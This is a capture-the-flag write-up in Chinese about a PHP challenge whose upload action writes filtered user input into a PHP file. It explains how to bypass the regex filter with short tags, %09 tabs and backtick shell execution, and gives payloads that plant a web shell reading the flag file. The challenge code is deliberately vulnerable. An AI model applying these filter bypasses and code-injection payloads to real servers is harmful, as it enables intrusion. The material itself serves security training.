赞
踩
<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
传入了两个参数
action=pwd时,显示路径
action=upload时,写入内容
通过正则过滤
preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)
字符串中包含 '、空格、php、;、~、^、+、eval、{ 或 } 中的任何一个,都会被过滤,且不区分大小写
对php的过滤可使用短标签:<?=(代码)?>
对空格的过滤,可使用 “/t” 或 "%09"代替
没有过滤反引号,我们可以在反引号中执行shell命令
$_GET[“action”] ?? “”:这是 PHP 7 中的新特性,称为 Null 合并运算符 (??)。它的作用是判断 $_GET[“action”] 是否设置且不为 null,如果是,则返回值;如果未设置或者为 null,则返回空字符串 “”
先查看路径
payload:?action=pwd
查看目录
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
再访问刚才得到的路径
访问:flllllll1112222222lag
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。